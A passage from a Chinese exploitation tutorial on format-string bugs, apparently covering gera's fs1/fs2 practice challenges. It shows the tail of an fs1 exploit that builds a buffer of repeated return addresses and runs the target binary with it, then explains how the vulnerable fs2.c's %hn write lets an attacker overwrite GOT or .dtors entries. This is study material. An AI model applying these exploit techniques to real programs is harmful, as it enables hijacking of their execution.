非安全编程演示之格式化字符串
2006-04-02 20:26:48 来源:WEB开发网
printf("Shellcode address: 0x%x\n", ret);
/* Constructing the buffer */
p = evil_buffer;
memset(p, 'A', 256);
p += 256;
*((void **)p) = (void *) (ZERO_ADDRESS);
p += 4;
/* 16319 x 4 = 65276 */
for(i = 0; i < 16319; i++) {
*((void **)p) = (void *) (ret);
p += 4;
}
*p = '\0';
execle("/home/user/gera/fs1", "fs1", evil_buffer, NULL, env);
}
fs2.c分析
这个例子的代码如下:
/* fs2.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* Can you tell me what's above the edge? */
int main(int argv,char **argc) {
char buf[256];
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);
}
程序员在这里谨慎的使用了“安全的”函数snprintf()防止溢出。然而,他在两个调用中都使用了%hn参数。如果攻击者构造特殊的缓冲区,并把格式化字符传递过去,那么将会造成溢出。注意到snprintf()的格式化参数--“%s%c%hn”的地址都是从argc[1](argc[2]对应第二个snprintf())。这是程序中的另一个错误。
第一个格式化参数是%s--它要求一个指针为string。snprintf()函数在内存中处理argc[1]的地址,直到遇到一个null的字符('\0')结束。第二个参数是%c---对应一个整型。比如说如果argc[1]的地址是0xb f f f f 764,snprintf()将把字符等效为最小有效字(least significant byte)处理(用可理解的形式来说就是)--‘d'(d=0x64)。第三个参数也是%c,作用和前一个参数同。第四个参数将写出到目前为止snprintf()所打印的字符的个数。%hn将一个指针保存为整型。它将把argc[1]里的头四个字节写入(所有字节数)这四个字节所指向的地址(例如,如果argc[1]
像这样“\xbb\xaa\xff\xbf\x41\x41\x41\x41\x43\x44”,那么将写入地址0xbfffaabb)。如果argc[1]有600bytes长,那么写入0xbfffaabb的值将是602(600来自%s,1个来自%c,另一个来自第二个%c)。记住%hn是一个short write(一次写2 bytes),攻击者只好把他想覆盖为shellcode的地址的地址分为两部分来写
攻击者向这个例子所传递的字符串,将首先包含4 bytes(可能为一个GOT entry的地址)然后是一些垃圾。字符串的长度控制了写入GOT entry地址的值。下面是一个可能的exploit(通过覆盖heap的.dtors地址):
更多精彩
赞助商链接